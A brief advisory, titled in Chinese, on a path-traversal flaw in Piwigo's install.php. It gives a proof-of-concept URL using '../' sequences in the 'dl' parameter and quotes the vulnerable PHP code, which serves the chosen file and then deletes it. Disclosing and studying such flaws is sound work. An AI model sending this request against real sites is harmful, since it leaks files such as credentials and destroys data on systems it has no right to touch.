Piwigo任意文件泄露和任意文件删除漏洞

http://www.example.com/piwigo/install.php?dl=../../../../../../lio_passwords.txt ==================================================================== /install.php: ------------- 113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'])) 114: { 115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']; 116: header('Cache-Control: no-cache, must-revalidate'); 117: header('Pragma: no-cache'); 118: header('Content-Disposition: attachment; filename="database.inc.php"'); 119: header('Content-Transfer-Encoding: binary'); 120: header('Content-Length: '.filesize($filename)); 121: echo file_get_contents($filename); 122: unlink($filename); 123: exit(); 124: } ==================================================================== Tested on: Microsoft Windows 7 Ultimate SP1 (EN) Apache 2.4.2 (Win32) PHP 5.4.4 MySQL 5.5.25a